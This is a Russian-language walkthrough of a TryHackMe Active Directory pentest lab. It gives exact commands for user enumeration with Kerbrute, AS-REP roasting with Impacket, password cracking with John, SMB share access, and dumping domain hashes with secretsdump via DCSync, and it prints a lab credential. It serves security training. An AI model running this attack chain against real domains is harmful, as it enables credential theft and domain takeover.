Данная статья содержит подробный разбор лабораторной работы с TryHackMe, посвященной тестированию на проникновение Active Directory. Приятного прочтения!
Дисклеймер: Все методы примененные в статье продемонстрированы в учебных целях.
![](https://habrastorage.org/getpro/habr/upload_files/9ea/6d1/7a2/9ea6d17a2e38d15682d2b6a28c054513.png)
Шаг 0: Сканирование с помощью Nmap
Любой пентест начинается со сканирования внутренней сети. У нас есть ip машины, поэтому запустим nmap для того, чтобы посмотреть открытые порты и запущенные на них сервисы
nmap -sC -sV -T4 10.10.108.102
-sC -> опция, запускающая сканирование на основе скриптов;
-sV -> определяет версии служб, запущенных на открытых портах;
-T4 -> время сканирования.
![Результат сканирования Nmap Результат сканирования Nmap](https://habrastorage.org/getpro/habr/upload_files/734/246/2c0/7342462c0336f0feefc0def5fe23a1d4.jpg)
Шаг 1: Перебор активных пользователей
После проведения рекона, следующей стадией становится поиск так называемых низко висящих фруктов путем перебора валидных имен пользователей для проведения дальнейшей атаки. Воспользуемся утилитой Kerbrute
./kerbrute_linux_amd64 userenum userlist.txt --dc spookysec.local -d spookysec.local -t 10
userenum -> перебор активных пользователей;
--dc -> местонахождение контроллера домена;
-d -> область действия, домен;
-t -> количество потоков.
![Результат работы Kerbrute Результат работы Kerbrute](https://habrastorage.org/getpro/habr/upload_files/9ad/1a1/6e5/9ad1a16e5051a3142bd9e04bf4b7f40c.png)
Kerbrute - утилита, предназначенная для перебора имен пользователей, брутфорса паролей для пользователей, спреинга паролей, перебор пар имя пользователя:пароль
Username List:
wget https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/userlist.txt
Password List:
wget https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/passwordlist.txt
Шаг 2: Перехват TGT
После получения списка активных пользователей попробуем произвести атаку Kerberoasting, получив TGT билеты путем перехвата AS_REP пользователей без предварителньой аутентификации, то есть в своем составе TGT не имеет метку времени, что позовляет перебрать его после перехвата. Особенности аутентификации в Kerberos и другие процессы мы описывали в нашей статье про Bronze Bit Attack
Для этого выберем пользователя svc-admin
GetNPUsers.py -dc-ip spookysec.local spookysec.local/svc-admin -no-pass
GetNPUsers - один из модулей утилиты Impacket, предназначенной взаимодействия с Active Directory. GetNPUsers запрашивает целевой домен для пользователей с установленным параметром "Не требовать предварительной аутентификации Kerberos", собирает ответы AS_REP без предварительной аутентификации и экспортирует их TGT для подбора пароля, так как они зашифрованы паролем пользователя. Это атака Kerberoasting с ответом AS_REP
-dc-ip -> ip контроллера домена. Можно указать доменное имя, если прописать его в /etc/hosts
spookysec.local/svc-admin -> также указываем пользователя и домен, в котором он находится
-no-pass -> делает запрос без пароля
![Перехваченный TGT Перехваченный TGT](https://habrastorage.org/getpro/habr/upload_files/506/4a5/e3c/5064a5e3c2cafa7ddde88a0bb9f81f5f.png)
Шаг 3: Локальный перебор TGT
Успешно перехватив TGT-билет с помощью утилиты JohnTheRipper локально запустим перебор паролей
john --rules --wordlist=rockyou.txt hash.txt
![Взломанный пароль пользователя, полученный из TGT Взломанный пароль пользователя, полученный из TGT](https://habrastorage.org/getpro/habr/upload_files/6dd/a05/d3c/6dda05d3c07792faa7b0da6b59278ad5.png)
JohnTheRipper - утилита для брутфорса хэшей по словарю. Умеет по соли определять вид хеша, что упрощает работу;
--rules -> перебор не просто по словарю, а по определенным правилам, то есть изменение в словах регистра и тому подобное;
--wordlist-> указываем словарь, который будет использоваться для перебора. И в конце указываем файл, содержащий хэш.
Шаг 4: Используем SMBClient для проверки shares
Получив пароль в открытом виде, попробуем посмотреть доступные нам smb shares для поиска на них полезных нам файлов
smbclient -L \\\\spookysec.local\\ -U 'svc-admin'
-L -> при подключении получает список shares, доступных на хосте;
-U -> указание пользователя, под которым происходит подключение через SMB.
![Использование smbclient Использование smbclient](https://habrastorage.org/getpro/habr/upload_files/694/8a2/7af/6948a27afd43db87f311271276b72918.png)
Интересным для нас будет вероятно всего share /backup.Заходим на \spookysec.local\backup и забираем файл backup_credentials.txt
![Забираем файл backup_credentials.txt Забираем файл backup_credentials.txt](https://habrastorage.org/getpro/habr/upload_files/c04/f2c/aa9/c04f2caa9f71a6e849860a874c08f790.png)
В файле лежит строка, закодированная в base64 строка YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw
Декодим ее:
backup@spookysec.local:backup2517860
Шаг 5: Используем secretsdump, чтобы сдампить хеши
Получив пароль, мы можем сдампить секреты пользователей с помощью модуля secretsdump из утилиты Impacket
secretsdump.py spookysec.local/backup:backup2517860@spookysec.local
secretsdump - модуль из утилиты Impacket, позволяющий удаленно сдампить хэши с контроллера домена. Для этого указываем домен, пользователя, его пароль и ip целевого хоста
![Результат работы Impacket Результат работы Impacket](https://habrastorage.org/getpro/habr/upload_files/a45/212/29e/a4521229e980cfb25fd08ce1b7596e02.png)
Как это работает?
По сути secretsdump делает так называемый DCSync, то есть репликацию домена. Это атака, при проведении которой хакер выдает себя за DC с целью получения секретов пользователей для дальнейшего перемещения по домену. Как это происходит:
Происходит обнаружение DC по доменному имени или по ip-адресу.
Далее хакер от лица DC посылает запрос на репликацию учетных данных пользователей к другому контроллеру домена через функцию GetNCChanges(), используя Directory Replication Service (DRS) Remote Protocol.
Все эти данные сохраняются в ветви реестра SYSTEM, SECURITY,SAM и дальше мы извлекаем их из реестра целевой машины.
Вот и все, что мы хотели вам показать в этом кратком разборе! Помните, нет ни одной системы, полностью защищенной от атак!